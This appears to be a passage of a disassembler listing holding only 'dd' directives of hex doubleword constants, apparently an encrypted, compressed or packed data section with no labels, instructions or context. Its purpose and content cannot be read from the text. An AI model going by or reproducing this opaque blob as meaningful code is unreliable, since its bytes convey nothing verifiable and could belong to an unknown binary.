		dd 58AD30F3h, 0D06D86Bh, 0EE09D107h, 302E6668h,	80433A04h
		dd 540CE281h, 0C587525h, 580F7729h, 0CE04E960h,	0FA35857Bh
		dd 0FAC7D540h, 0F2742F2Dh, 5C9698FBh, 7F832263h, 0AA9D4916h
		dd 36880F12h, 50CA3B22h, 441CEE26h, 0C140BE46h,	25ADE774h
		dd 9CA37AE9h, 0A20F49E9h, 0A360D74Bh, 80EA7BDh,	5D5755ECh
		dd 0C70A0FC2h, 7691C062h, 2F513B37h, 4C6FE504h,	67CE8B8h
		dd 2CFC1C15h, 0F382099Ah, 97F410C0h, 5DEF8900h,	5E0EE94Fh
		dd 60E7DB75h, 0C319ABF0h, 0E3902Ch, 55CB5CBEh, 0F7F98749h
		dd 8108D760h, 3E2630E1h, 15DC65E2h, 1F3B1277h, 0E8A30B6Eh
		dd 0BC338E59h, 1BEDE93Fh, 0D23BB720h, 7912EF0Dh, 0BC6E3D8Dh
		dd 0D8BAA4B6h, 4841C869h, 0F9CB406h, 9FDAA7D4h,	0BB1D9DA5h
		dd 0A93A8EC9h, 0A3366466h, 43CE2F1h, 10A05E1h, 0B26B5B54h
		dd 1C680C58h, 41F1233Ch, 0FDB16EA3h, 558B826Eh,	10A3B68h
		dd 0E9DA90CEh, 4D9BDF0Dh, 0F3295EB0h, 0B0538494h, 53283EBh
		dd 0DFE91711h, 753E9C38h, 72A63A4Bh, 0C5ACE912h, 673CEA2Dh
		dd 697A0BB9h, 0EB871D03h, 78CCA284h, 3D32D380h,	0D2A32DC1h
		dd 670348B0h, 779D02B7h, 0DB58AA17h, 0A95CC900h, 1E8D170h
		dd 7A60352Dh, 3CFBE932h, 0E10500DCh, 500EF15Dh,	96B55Ah
		dd 6A67A280h, 4046EA95h, 98635622h, 6CF307E4h, 0C03C423Fh
		dd 0DC37B2E3h, 0AFE91C3Dh, 0EBB268F7h, 1F6EB057h, 8B316A38h
		dd 0D34843E4h, 9013F5BDh, 77FA545Dh, 0C3C5849Bh, 0D176FC9Ch
		dd 0A56BAAEEh, 0B60F103Bh, 0E978A85Dh, 91099F9Fh, 178814F7h
		dd 35225868h, 0CB35BE25h, 0FBD891FEh, 0E213AF47h, 52DADC16h
		dd 665DF050h, 5D76748Eh, 5481505Ah, 55F5388Ch, 202AE831h
		dd 592F2B57h, 3AD80248h, 0EAB2CBCBh, 0BE4A8F5Ch, 0C1FDD464h
		dd 4239A5A5h, 200CE31Dh, 0C74B0481h, 0D2D0F754h, 88F6B7C7h
		dd 241AFF6Bh, 1EC0FDC0h, 264804Ch, 17AD0C2h, 796AD76Ah
		dd 21C080Dh, 5B7F5F14h,	90D74928h, 80C7731Eh, 82A0475Bh
		dd 0FD82BED2h, 0ED0108CEh, 26F75D9Ch, 6E7C96E9h, 0F47C5A27h
		dd 0DC65993Ch, 40DD6847h, 0F0A2302Ah, 7C3E0E4Ch, 5E1B9246h
		dd 17841CD0h, 0D61E5861h, 0BA3ECD34h, 685DE580h, 0FCD3BA9Fh
		dd 83A46027h, 91610FE5h, 0FA4E147Bh, 0BD669A01h, 31D053ACh
		dd 0F1ECA3EEh, 0FE760B97h, 0C034A00Ch, 41FCC7D0h, 0C52EA31h
		dd 50E80F10h, 0C4665FE9h, 0C6DCF910h, 498C6E5h,	0F6F88850h
		dd 0DD2FB1D0h, 7893FDF7h, 0B9B74F35h, 0C04F8B4Ch, 4698BA41h
		dd 0C5646F62h, 0E066795Ch, 0E715E956h, 0B5C5EE97h, 0A2647471h
		dd 0C2DE40ABh, 989E9643h, 178DCEC3h, 0A1BB94ECh, 0A208046Eh
		dd 0DDFE937Fh, 0D8163C23h, 557E68DAh, 0A3A5743h, 89875EA0h
		dd 0BAD5F501h, 9D077BDh, 20C04E97h, 66038CBDh, 2E1C05Ah
		dd 9B2BDB80h, 21B4D0C1h, 59CC3828h, 71CEE22Eh, 0BE9B5470h
		dd 0CAB1F604h, 0FB6D5B0Dh, 88D081D2h, 1ABD97A6h, 5F03422Bh
		dd 4E31501Eh, 0C5F10B0Ah, 0F334B82Bh, 0DCEEFDE2h, 5F4BFD44h
		dd 83B1DDB8h, 8968FCC6h, 80092759h, 2010A5E7h, 28CE5A31h
		dd 0F05B211Fh, 6115F74Bh, 0C420BDE1h, 28615CB1h, 0FB9F51Ah
		dd 90D795Fh, 0ADA94FE9h, 9D7D6C5Fh, 766975F1h, 50E94105h
		dd 779D6FECh, 0D3E5B6ECh, 0B0F60016h, 406866FAh, 4D764348h
		dd 46BA0424h, 82EA7AB7h, 5474DF4Dh, 57F30153h, 3740DA68h
		dd 2FECFC02h, 0B809FDBBh, 40F37673h, 1E6EBAC1h,	0E50C8297h
		dd 0A5D66A0Eh, 0BF40233Bh, 0E280B9B2h, 6106CF48h, 0EACCDCA5h
		dd 604E008Ch, 6DAA578h,	531C5C91h, 52A6D389h, 0E00D5A01h
		dd 6ABE4Eh, 542504C2h, 582F325Ch, 58427E55h, 7D2D758Bh
		dd 0E2CFA1Fh, 27C73EC8h, 43ADE7C2h, 7A7545E2h, 22C2132Bh
		dd 58A10486h, 0B42CEEA8h, 63296262h, 0C55D5AD5h, 0EF8B8B0Ah
		dd 0B018B2D5h, 0FB5FE9B3h, 0C3800A86h, 530B06B2h, 585EB551h
		dd 6FC50149h, 0F7E9EB28h, 2FE93AE8h, 0E160BAF5h, 0A88AE951h
		dd 0BFA05AAh, 5314E616h, 9875C04h, 7783575Dh, 1E10710h
		dd 515D70D0h, 0E9C17F82h, 0BC486005h, 2A7B401Fh, 0D4D54CC9h
		dd 1C5F5A09h, 52159CFEh, 5CD76C57h, 0E9B1E1F0h,	888B5255h
		dd 2C57405Fh, 3FFFEA4h,	4334C0FEh, 0E97C780h, 0E254E962h
		dd 1646C45Fh, 612BDD68h, 0C509AE16h, 0D8786137h, 7712061Dh
		dd 21F8D3E9h, 9832E94Bh, 251279C4h, 0C6F21F2Bh,	0F3E90880h
		dd 5A49029Fh, 259FEBFFh, 0F344567Bh, 97975A95h,	75D2D45Ch
		dd 8C642AD1h, 0C34D40FEh, 45944B68h, 5455ABFh, 0D64766EBh
		dd 0C1B4BB2Dh, 1E4E0988h, 86092158h, 0A41615F4h, 192D65B0h
		dd 0EA5A5F72h, 0BA00F2B3h, 4C99190Bh, 16270B22h, 44A5B053h
		dd 0C35320B8h, 0C7F031B2h, 0F4250EB9h, 283A31EAh, 2B0DF5C5h
		dd 3FA85614h, 1B369652h, 5F91E5F4h, 0BCAF266h, 5CF6EE85h
		dd 22DDEB72h, 147849h, 161395BDh, 0FAC58150h, 7EF80D17h
		dd 0BE4F05BFh, 254EFDD5h, 2DF0F42Ch, 0F74BBF73h, 0B716E9B2h
		dd 0CDB973F8h, 1AA45097h, 11427B7h, 76123855h, 0BD5FA4F1h
		dd 7FC30A46h, 0BC16BE9h, 1B574BC7h, 0D1F38483h,	0E4FBAB28h
		dd 425C1A00h, 0C1895125h, 0F1D95FE9h, 0B3AC3B70h, 849F42E4h
		dd 67DDA5BFh, 16F89EDh,	68FD387Fh, 0AE28D237h, 0F85BFD8Eh
		dd 2EE9C3EEh, 0B8160049h, 4E4842AAh, 22016855h,	0E963D920h
		dd 0C6ADD8D7h, 0DAF79DE0h, 0D24C4A73h, 0B9321325h, 831A65AAh
		dd 0AF034E12h, 7133ADF3h, 6B0C0455h, 82395F0Ah,	88800863h
		dd 6D665D80h, 840B8B98h, 0D8EAD9C9h, 16059E83h,	0FC8AAF05h
		dd 4A46CA60h, 3AC16799h, 6B535814h, 416FD775h, 0BB40CD0Fh
		dd 47E5402Eh, 3C499817h, 898F2726h, 6D6E632h, 0E25C0EBEh
		dd 0A2B55E3Eh, 6A14E9DFh, 71D36ABCh, 331938Bh, 0C2AEE9D7h
		dd 0DD282224h, 0B498B635h, 886D2EB4h, 64554986h, 89EB1CDCh
		dd 0C10BD331h, 2836087Dh, 0FE5A8204h, 1C28DF19h, 0C561608h
		dd 6842E5F5h, 0F27E9029h, 0E70CF7A4h, 0FC34547h, 4CEC534Eh
		dd 2AB1869h, 7F986E77h,	0DEA2A54h, 41FA0FFFh, 64440BC7h
		dd 0C19DBAB3h, 14AAD6Eh, 0E97EA767h, 773B9969h,	0B1D5B2C6h
		dd 0B0195A07h, 60535231h, 0DEF1081h, 0FF7F13DDh, 8B66459Dh
		dd 876B568h, 15CD098Ch,	7710E11Ch, 9280010Dh, 9518BF18h
		dd 5712305Eh, 158C5134h, 7E2B0B68h, 68603B15h, 0BE817940h
		dd 0FFDE51E8h, 98018820h, 908E03Bh, 13E94B50h, 7DC015E2h
		dd 2D7C35DEh, 8044E1B5h, 0C87E54E5h, 0C9090D25h, 0E157B32Ah
		dd 0BED4CB80h, 5E6D980Ah, 0A41F67B5h, 0AA99949Fh, 0F89649F3h
		dd 1DA5842Bh, 0B9C404A9h, 0F0DB223Ch, 0FE525AF3h, 68EAED32h
		dd 26D6760h, 0D50144C4h
		dd 305699E9h, 3215BB01h, 30647A5Bh, 0ACB90151h,	0E9D2D990h
		dd 72AE3546h, 2F3ED487h, 482D3A42h, 530268B0h, 4978C672h
		dd 0BE804FE2h, 5A096708h, 1CC516B7h, 67C7B2D4h,	5008FF8h
		dd 26AA1CEFh, 0A12DF029h, 0F06B5E07h, 995FABBEh, 0D3047A77h
		dd 8003258Bh, 0DE28E3C6h, 0FBADEEABh, 95989CC4h, 0A60F2EE9h
		dd 35E0414Dh, 3A407166h, 4F8B9DC5h, 4FC48A4Bh, 0F7C051E0h
		dd 0D5F97FC2h, 9B3DE9E1h, 94919D6Fh, 659F6885h,	0C7FCE727h
		dd 64D3C04Bh, 1876DF13h, 3644CF07h, 0E7C01DC9h,	9CE5F96h
		dd 5A68537Dh, 0CBA30268h, 61A81891h, 0EE894A60h, 7BF05034h
		dd 587A2038h, 92EE5C7Ch, 3F4856B0h, 2B830721h, 0CDC04A39h
		dd 764F2336h, 27E50654h, 0D07EC615h, 0F8C10144h, 0F312DC05h
		dd 0C065F2Ch, 0DEDFBBEFh, 4B6B075Ah, 6E296F2Dh,	455834E9h
		dd 700F595Ch, 0BA0115B9h, 87F3358h, 0F25CE46Fh,	554609AAh
		dd 958FBBEh, 0AA1C4A4Fh, 0A4F1E452h, 0D6FBA26Eh, 183B66h
		dd 43211415h, 323EEF81h, 8549DA26h, 80DCCC14h, 0BA3AF74Bh
		dd 6A80B721h, 3313C7F6h, 3FE96D08h, 0C6B70277h,	1C5DFC30h
		dd 0C1C30116h, 0CE9E328h, 31148CD8h, 0BEE4CE8h,	580519BFh
		dd 456D3603h, 3950688Ah, 0E90843FDh, 2DF6B0FDh,	0E9C183B1h
		dd 0B1B05CFCh, 9A052BD8h, 0F4123E7Ch, 0CFC8010Ch, 3B62418Ch
		dd 0EE077BE3h, 2C602F0Ah, 381B6B0Ch, 9585483Fh,	16680802h
		dd 98D54618h, 0A93D2432h, 0A69152BFh, 66856A35h, 4AEA309Ch
		dd 5409F4D9h, 1AE31A5Eh, 0E130C594h, 0B17013F1h, 28007F4Ch
		dd 5E170705h, 55D1DD68h, 901B8C0h, 0ED3F20FDh, 8B7FB71Ch
		dd 553A0BADh, 62C67A09h, 38802B6h, 5B54626Eh, 58517F40h
		dd 0E9607B09h, 6F2F7E70h, 0E7F54406h, 5C02C02Fh, 0F847D0EFh
		dd 0E3E7A597h, 0AE4B7CE8h, 40A0D938h, 0D4642CBDh, 0E016E772h
		dd 5D5BAF16h, 0D47FA3CDh, 0FFC7C57Bh, 49AA8752h, 2955EF0Ch
		dd 204ADA96h, 68159D26h, 37477BDh, 0E38044B3h, 0F9F39891h
		dd 0E9A4122Ch, 4B5FAC11h, 0A26B3ACDh, 17965060h, 10E15413h
		dd 286043E8h, 80A6356h,	4D4947B8h, 0D5E95E07h, 120516A5h
		dd 5E6AA016h, 0C4626EECh, 464B6CA3h, 0FA882D2Fh, 0DCAE015Fh
		dd 986E5A5Bh, 4596E332h, 31AAAD16h, 74D7DCB1h, 795FC788h
		dd 41C108CCh, 68823EA4h, 73690F16h, 0CA886260h,	10697CE5h
		dd 3150D047h, 0A94D5A8Dh, 84518A2Fh, 0B5457502h, 39CC6002h
		dd 9D8D727Eh, 0D2CFDB68h, 630C2B76h, 40B7ECE9h,	8DDC955Dh
		dd 5A0C5BA6h, 0FDEE5936h, 6B69296Eh, 560155F7h,	0E97D9B3Bh
		dd 29B73CB8h, 7B07E566h, 5B87D888h, 0ABF058F5h,	125670B8h
		dd 0ED214E0Ah, 1312308Eh, 950EF5E9h, 0E743AAD1h, 0F47D4E8Ch
		dd 0F78045EDh, 988B0DDh, 60990FBDh, 0E31EAF52h,	0B724C244h
		dd 964F0600h, 98F52910h, 5A78AB56h, 0A56BFDC1h,	2E4A0690h
		dd 0E8114E7Fh, 0BE151FAh, 6F806088h, 2D5F7D2Ah,	2660F531h
		dd 5F826D8Dh, 0C9F8C408h, 2FCC0089h, 52E9F10Ch,	0EF60E64h
		dd 0A7E780D7h, 2856EF60h, 0E8E05BFDh, 3E87F39Dh, 0B85A6849h
		dd 89965D03h, 542FDE5Ah, 76B25A4Eh, 2AE6AC98h, 0FCE9A994h
		dd 0ECAA0841h, 46CD290Ah, 9ED45F62h, 0C60195AAh, 6A0CFF56h
		dd 0AA9616A9h, 8AFC4C4h, 0E60602CEh, 0F20A62F5h, 0C67740F2h
		dd 0DAAC6A3Fh, 686EF1F4h, 0BB4CD06h, 0D1B03F33h, 0C1161DB7h
		dd 76800941h, 2C61B6EDh, 125630C4h, 0C4AAAC99h,	64FBADE9h
		dd 21F3AC01h, 0E9DD0202h, 995DB368h, 7DF36DB8h,	65043AB9h
		dd 0AA3495Ah, 0D48389D7h, 0B8AD441Ch, 4AB0043Dh, 0F0A8C628h
		dd 8672A34Eh, 5077B155h, 583A3611h, 0FCC19DC3h,	3B2EE563h
		dd 5A07E910h, 0DA1950FEh, 9D24A805h, 4377C023h,	0E0B5477Ah
		dd 80CE9A2Fh, 5C7204ACh, 0E72CD91Dh, 3EA84F96h,	0B3FD129Fh
		dd 54560943h, 4C84795Eh, 1513C168h, 35CD2D1Eh, 0AD069B28h
		dd 0A617FD56h, 3F07F351h, 530703E6h, 220640BBh,	5E24B1Fh
		dd 594A4878h, 142541FAh, 3F706F76h, 45B5C5B8h, 0AEC5DE4Ah
		dd 9BF18629h, 58AD8C6Bh, 584359BDh, 0CE27685Ch,	7747B262h
		dd 716BF4F3h, 9A899506h, 36336802h, 57400272h, 30B5CD61h
		dd 0BF2528A4h, 6D09B0C5h, 61E0F6C1h, 30F78811h,	0F14EAFFAh
		dd 0FC5F938Ah, 0B9CDC4AFh, 2144BE13h, 0FD1F2E2h, 97715FF8h
		dd 1B2845E9h, 822C5809h, 4638298Ch, 0E4C729CEh,	0B3D84FFEh
		dd 1F1C625Eh, 507459CEh, 74C99AC2h, 0F5AC62FEh,	661BB7E5h
		dd 0BEA9F981h, 0AB78E999h, 72F7C4Dh, 66966329h,	18DDC78Fh
		dd 60C6750Bh, 0FA37C4Ah, 5E6EB34Bh, 13DF1DE4h, 84270F2Fh
		dd 0EF071326h, 0C683A581h, 59AA08Fh, 8402E833h,	0C1047D95h
		dd 6101FE8h, 2D72214Ch,	8EF846D6h, 8395E704h, 0CA88F321h
		dd 0ED7644CDh, 1E106804h, 4BA95B28h, 0E74FF7D0h, 19E11002h
		dd 0AB5A845Ah, 14135D9Eh, 10B5F2E2h, 2D0B4730h,	0FC89174Fh
		dd 1B88E85Ch, 185D2D84h, 4A3968AAh, 603EE36Dh, 4C0ADBA0h
		dd 13DD226h, 34F871B2h,	71F2E60Ch, 6BE0489Dh, 0F2E7C47Fh
		dd 60C5AAC7h, 2D2973F8h, 26AF8BCFh, 5CE7B45Eh, 0B8BFBAC6h
		dd 0D6294827h, 0F9FEAE17h, 632AD939h, 0BBBBE00h, 35C9A2Ch
		dd 0C026CA0Bh, 1608EE24h, 4AF0A0E9h, 12D6D03Eh,	3CBD0AEh
		dd 7D4FFD4Dh, 7E8452C4h, 0DD62C3EBh, 37E2BF4Bh,	0C2802C7Bh
		dd 96DDAD6Eh, 0A3681241h, 0A3373435h, 23AD5ACDh, 4E21C740h
		dd 5B3EDCE6h, 6B03FD90h, 0E93F9774h, 81A53AE3h,	0A243D484h
		dd 1F23C37Ah, 0E70D64F9h, 2F5D0E01h, 0D989E730h, 877CD16Bh
		dd 0AC85C39Ch, 4FE9F09Bh, 1F459FA1h, 79563A13h,	0C280FABh
		dd 5530052Eh, 60D86ADEh, 8C545B4Eh, 0E98BCE53h,	0A93107Fh
		dd 0A06EAC54h, 0C00886E9h, 327FF37Dh, 94A0172Fh, 93723474h
		dd 5FFB2918h, 0E6EADB1Eh, 0BC6817FCh, 0D3AB604Fh, 5B0A723Dh
		dd 76A8B3E9h, 2D8565CFh, 0A03FEFC9h, 452CD93Eh,	460AA9D4h
		dd 0C3686A91h, 7E4677CBh, 62B8E925h, 1C27DE15h,	93E7803h
		dd 0BEFD7012h, 27A508C8h, 0B35F0106h, 0C6C1E1FAh, 3C640867h
		dd 0CB0105E2h, 3386E201h, 57F565FAh, 0BA00A368h, 0EF55C08h
		dd 3491D789h, 0E8F7C16Eh, 956CF27Ch, 3034F116h,	0EC584963h
		dd 3D494A7Ch, 0B9017899h, 40D13162h, 69F4BE56h,	722E9FA9h
		dd 0C818BDE4h, 74FEEBB8h, 5B11EE60h, 4D30DC2Ch,	0C08C48C6h
		dd 0B6526039h, 68E1C4BFh, 0F8A11312h, 55C214EDh, 6E5813BEh
		dd 530359D0h, 0F4759087h, 0B4E897BDh, 27603BBEh, 672EE7EEh
		dd 0BB034FC9h, 39057141h, 0F46A025Bh, 9A75E4E4h, 7B892025h
		dd 5E4A305Eh, 42547273h, 5F1208E9h, 34AF7429h, 0D6111130h
		dd 8215E75Ah, 0E6E48AE9h, 5BD5F009h, 3F99D9E0h,	6D831A04h
		dd 49A89DBEh, 7849FD85h, 76DC5A9Bh, 76E91759h, 7B83A747h
		dd 5E868D2Dh, 0ADD64BBDh, 65D065C2h, 772824h, 1DA15B22h
		dd 8C7F4035h, 6FE91709h, 8B97FEF8h, 97715901h, 0F616183Fh
		dd 392FBEDAh, 0D4CAF13h, 283CA407h, 76CE626Ah, 20149841h
		dd 8B980219h, 684DB412h, 0B80CC206h, 0E135003Eh, 0C176BE33h
		dd 0C3A005E0h, 3C00172Eh, 1EEF8167h, 1B11F915h,	810290E9h
		dd 3EE419B1h, 4931DB3h,	1238254Fh, 26D04845h, 13CCA1C8h
		dd 0B1176F2Ah, 384DF98Ch, 479376F0h, 711A1789h,	6756828Eh
		dd 5E0201Dh, 5A0958FFh,	2D1F71Ah, 6CDA3350h, 4CDC95D6h
		dd 0D04BA53Eh, 6BB0952Ah
		dd 0EF9DF631h, 0A26425ECh, 0D4B4C325h, 81DDEB8Ah, 53241CEh
		dd 97648421h, 0B54D16B0h, 28A208EDh, 0C4F2B28h,	22E4B38Dh
		dd 2E75001Bh, 6D490D58h, 53B81311h, 0C0BF78B2h,	0C425B956h
		dd 0F139690Bh, 100DF6A6h, 82E80430h, 0CECBA002h, 0F81FAE91h
		dd 0E295BD4Ah, 612057BFh, 71AF74A1h, 0CFB22AFCh, 0F6AEB107h
		dd 0E0F251D1h, 0EF34DC68h, 0D4C7EC65h, 0F727C193h, 41B640D9h
		dd 3207BD55h, 313C34DFh, 0E47804EBh, 870EBB17h,	0C35D7D28h
		dd 59DB0671h, 11B7A66Eh, 696265F0h, 490A48ABh, 3C0D5615h
		dd 2E9D8252h, 485A479Eh, 4CC0099Fh, 0AC0F8426h,	12714Ah
		dd 0D0C8CF77h, 0EA25E962h, 0AD4D18D2h, 0BD29A829h, 0B60B1794h
		dd 806DB908h, 792B47C7h, 0E9F51331h, 2BD1A16Dh,	191A88F7h
		dd 0EC7F5CB4h, 8E6813CBh, 0F2E9A473h, 0F563869Ch, 26A7F1BCh
		dd 16334830h, 859B75DDh, 7620EFDh, 0AE3CFC24h, 0AE048AF5h
		dd 14E90B03h, 437207F2h, 29C1E3D1h, 0A74812A0h,	0AEB89D4Ah
		dd 0D95C5873h, 0CEC225C7h, 0FCE3A0EBh, 238D0106h, 659DBB53h
		dd 0CD192063h, 96A5C95Ah, 0C7DF1D3Fh, 7D974EA1h, 0F2DFC10h
		dd 38C74C90h, 0E267D8Bh, 69470C5Ch, 0D00C0544h,	14A9491Bh
		dd 0FA562582h, 0E5D56F8Bh, 84E944A3h, 5E8EAA9Dh, 0E9613C4Eh
		dd 25E57F25h, 0B1BB02DDh, 4746AFF2h, 0E0BF01F8h, 3EE52585h
		dd 0A89758ADh, 9F42242Ch, 285F1918h, 25EFB2B3h,	0E6565DEFh
		dd 1F02C920h, 315E7E4Ah, 0BE305DEEh, 7817D5F6h,	0C7C1E2DFh
		dd 1C12EE9h, 5DB9C87Ah,	9D9855E2h, 0BDC91934h, 0C1C3B184h
		dd 0E6AB03F3h, 7B9E6855h, 0EA348910h, 1D0F3450h, 832C13DAh
		dd 351F06C1h, 5CE9C09Fh, 74606F32h, 0A670950Ch,	0F929046Eh
		dd 0E87EC468h, 0ADEBC8F0h, 0C1E0A70h, 59D7E32Ch, 81438F41h
		dd 4FF0CDCBh, 2CDC9525h, 51B74082h, 0A9035DB3h,	9002C783h
		dd 0CA2623EFh, 0D9825F22h, 0D09A0F3h, 0B6811EF8h, 701962BAh
		dd 2EDE407Ah, 440BA69Ah, 0D75AD121h, 0E38738C9h, 850D2B3h
		dd 700AD6Ah, 5E2D4352h,	250861F8h, 2E62F4E9h, 13EC975Dh
		dd 2561AAEEh, 0A73FD37Dh, 1F118408h, 6CD4E297h,	0ADEA31EEh
		dd 11C6524Ah, 0FF0BEC7Eh, 0B2490632h, 0A5544C54h, 3F3FC971h
		dd 0BA7169A9h, 52E25E6Bh, 1842E1DEh, 0EC15565h,	4FA330E7h
		dd 56935D91h, 1657BB0h,	33BE460Dh, 70D31DB2h, 580431Dh
		dd 0B611025Dh, 2DD00106h, 38FB078Ah, 19DA1B8Ah,	64C204CAh
		dd 424A8D2h, 0A106D4Bh,	0C1462D80h, 0CE7258F7h,	0F29D0620h
		dd 0BA280FE8h, 0CEAB98EBh, 5C4A14D0h, 1310B5CBh, 70503B78h
		dd 0E1D682AAh, 7DC47D52h, 38F7FB20h, 82930EBDh,	0C2D6E812h
		dd 5642BAE9h, 93A74257h, 7D950909h, 992DC8A0h, 4413374Bh
		dd 4E11C801h, 0E9D80508h, 0D58A601Ch, 3144F14Fh, 0FBEF5406h
		dd 0EA64A072h, 8F82F769h, 9A0C36E6h, 0F6DE142Ah, 5F20CECEh
		dd 6E874158h, 26D74836h, 0CD61672h, 6C0C8E7Dh, 0DD885116h
		dd 0B80C82FEh, 26B91BC8h, 40090D27h, 780CC12Ah,	50B9C5Ch
		dd 0BB4D2A46h, 81ACF94h, 5A14081Ch, 6A1BE26Bh, 51807ED7h
		dd 0E582FA58h, 71D786E9h, 5A83A0C9h, 3112819Ah,	0C7376AEFh
		dd 78ACE8D4h, 0E8E02925h, 557E0939h, 0ED748198h, 1C4BA530h
		dd 6F01E95Dh, 8707FF3Eh, 525EBF28h, 0EF539199h,	2EF79FDAh
		dd 44D02DCFh, 10D0EE3Dh, 16E11E55h, 0BAD32971h,	45A0414h
		dd 67BD476Ch, 0D6E94E80h, 240A7423h, 0CF2CDA6Ah, 6A6972ADh
		dd 86202629h, 0BC0D0964h, 0EF55561Dh, 0DAF32773h, 0F492A2B5h
		dd 84B17D59h, 59FD621Bh, 2D575A62h, 35F961BAh, 3CC37291h
		dd 4AE4920Bh, 0FC8EA701h, 0AA4093E5h, 5B187EFDh, 599E503h
		dd 58D0E808h, 6A97138Fh, 60F2C900h, 2FE90EC5h, 0E01CA929h
		dd 0E56BB580h, 9E1FD99Fh, 33A0BC52h, 0F19D0CE6h, 85CA9794h
		dd 2AF8F1D6h, 0B14A37E3h, 3BAC6017h, 5B534E05h,	6281FE87h
		dd 0B6E02E9h, 4E5C5F9Fh, 9C6D3702h, 693CC21Ch, 83705061h
		dd 6262B64Dh, 0E34088E5h, 26B4BEF8h, 96640183h,	0FFEC3416h
		dd 5B850103h, 35F0E94Ah, 73BFF806h, 432CF31Eh, 16C1B0FCh
		dd 1FE2815Bh, 305356A7h, 1044214Eh, 38F024C4h, 0E95C6CBBh
		dd 0E401665Eh, 4778F22Dh, 55FF02Ah, 0EAE007A3h,	2E0BE44Bh
		dd 0E6B85FE9h, 23E0C2Bh, 7747E3Fh, 23610A03h, 2BC9FDE9h
		dd 3ECA54C1h, 224E4AF8h, 0C57D0103h, 47A1A4F9h,	0D0F62B78h
		dd 735F2161h, 924050F5h, 5AB0B355h, 3126C2ECh, 0F7908C40h
		dd 58C59FC0h, 3E44A2BFh, 4FA536FAh, 0B77CE1C2h,	562FF72Dh
		dd 35F068A6h, 5074E169h, 0E160FD73h, 73F85AC6h,	0E0265DCDh
		dd 7142EE43h, 2D5C0023h, 4558694Ch, 0ED8F161Bh,	40EA33AFh
		dd 813F9BF0h, 439DC905h, 0D58210E1h, 85E92101h,	360AAF8Ah
		dd 293CEF85h, 0AE613075h, 67EE800Ah, 2514CEE6h,	1FB8F652h
		dd 0C61D5A01h, 515B1E30h, 0E92909B5h, 214815D4h, 222435CDh
		dd 0EA94B616h, 715B2D08h, 0DD054941h, 0A6F1AA2Ch, 66866D4h
		dd 0CE92150h, 4265267h,	9C1011A9h, 5E3ABB1Eh, 0CDAEF76h
		dd 5A37589Dh, 933CAEFAh, 4C6B7C59h, 5A07A8EAh, 0C0423957h
		dd 8B713EF5h, 5F45102Fh, 3D4FD680h, 70C97C5Ah, 894051D2h
		dd 0C459457Fh, 0F627B42Eh, 91E970A7h, 0B8EAF69h, 0B0765A8Bh
		dd 0BBE8408Bh, 7125D407h, 0B6B5533Ah, 5FF6E7ABh, 4FCDF4F1h
		dd 6F84D96Ch, 0E3AEFDh,	41FA5D27h, 64835997h, 80EA92F9h
		dd 0C9FEAC40h, 1ED1F624h, 4322AB1Ah, 0B30CDDD3h, 99C381F0h
		dd 6E98320Dh, 0E5959A50h, 0BA6EB426h, 0B21A4881h, 0AB219607h
		dd 98CE595Eh, 0F2545F25h, 9B283D70h, 0C044025Fh, 324008EEh
		dd 8D75E963h, 0CD55C2E1h, 17E9891Ah, 0B868F658h, 0E800A213h
		dd 0ED815895h, 54891EF2h, 0D2EF939Ah, 6FF41E4Eh, 8C15FD27h
		dd 0C0ABE909h, 0EE2AB54Dh, 0BBC74B37h, 0A4C30370h, 7C2E2C54h
		dd 29023F44h, 50E9174Eh, 2C40816Ah, 51124C35h, 0DCC10915h
		dd 6740DB67h, 9037F760h, 6A79207Dh, 3D4BDAB5h, 0DAAEAF7Ch
		dd 0AEBD8220h, 32629B2Dh, 9FE6FF60h, 0D0C6FE80h, 6F249D04h
		dd 5D41188Ah, 4D1D88CEh, 0EE8F1C8Ch, 0A7AFECB5h, 0EA400649h
		dd 0C2F30110h, 7F5E0881h, 0AC2F7CD9h, 0B92DA19Ch, 0A22CBA04h
		dd 0ADE5607Eh, 6D705CB6h, 6E0FC4A0h, 4D48B302h,	0A0EFC2E9h
		dd 15EF0D4h, 4BA0B0D8h,	0B5D7C70Eh, 948083CBh, 20C3C303h
		dd 0D946F5EEh, 1681F9BEh, 0C280F7B2h, 83867072h, 5A17D0E0h
		dd 2CAB352Ch, 559850FBh, 20E9413Dh, 5A91769Dh, 0C15EC41Dh
		dd 521AA66h, 65D76C04h,	748413BCh, 1D31FEABh, 0EF04F38Eh
		dd 307BD2F2h, 0EBAF5057h, 38301FCDh, 1AE20C43h,	0C223401Eh
		dd 0E8B8EA16h, 2A12E0ACh, 0DCF5A52Ch, 0EF9D4D59h, 0C4510852h
		dd 98B75305h, 0F23817EEh, 0B2528248h, 0A58A838Bh, 0FEF09FC0h
		dd 5BC5E9C2h, 709B458Eh, 0F402C9ABh, 0EFCF2594h, 2CABF3C8h
		dd 4D9D51CEh, 644AF44h,	8C7CD695h, 0BF1C989Dh, 6749C509h
		dd 0C51A5F77h, 0E37DABABh, 4513E990h, 0B6B96150h, 56AF2614h
		dd 3C6101DFh, 71E955D4h, 0FE26ADECh, 0B2A6EF92h, 0EE0497EBh
		dd 6684477h, 7E6BB880h,	0E97A1348h, 5B684397h, 4E135059h
		dd 36FFDFB4h, 0B281E260h, 0C6A79D69h, 77AC88CBh, 58F99D93h
		dd 0D6322BE4h, 7E9B6AA5h, 0E32CABh, 34E6737Bh, 4F026A2Dh
		dd 0A1E97091h, 64795C3Ah, 82558521h, 58090814h,	74681720h
		dd 8010F97Ah, 79105C39h
		dd 1578954Dh, 0E6AB7AB7h, 9C5016ABh, 4949AEA7h,	2DB0F66Ah
		dd 0C34E9EB2h, 0B436DABFh, 4161CAB3h, 272068h, 0B14B6DE9h
		dd 41F129Fh, 85890C3Eh,	5A0BA0Fh, 2DC06249h, 9A7AAA4Ah
		dd 883D2F77h, 110AF7Dh,	478F51B3h, 0BD520C60h, 728071BAh
		dd 2B6B7566h, 82A95ABFh, 0FFC55708h, 0D695FABFh, 0E6696ED2h
		dd 0C00220DCh, 4128BC11h, 0F37AD82Bh, 348B9F67h, 15987DBAh
		dd 8BC9109Dh, 8ED380EEh, 97316803h, 0A5205DECh,	625A48E3h
		dd 9E8CCBDEh, 0C12D49A0h, 0A7929584h, 0CA01720h, 0F681F280h
		dd 8941B114h, 69FD1420h, 68FD85BEh, 4A5468D1h, 37BB618h
		dd 5F325012h, 0DDAF852h, 0C03C4E54h, 79A21632h,	0B9C36450h
		dd 4362B0BEh, 34B9F5A3h, 3814F1DFh, 91E85ECFh, 0C0415FA8h
		dd 589F3839h, 6F3516F3h, 1FFA0100h, 17728C05h, 4A209812h
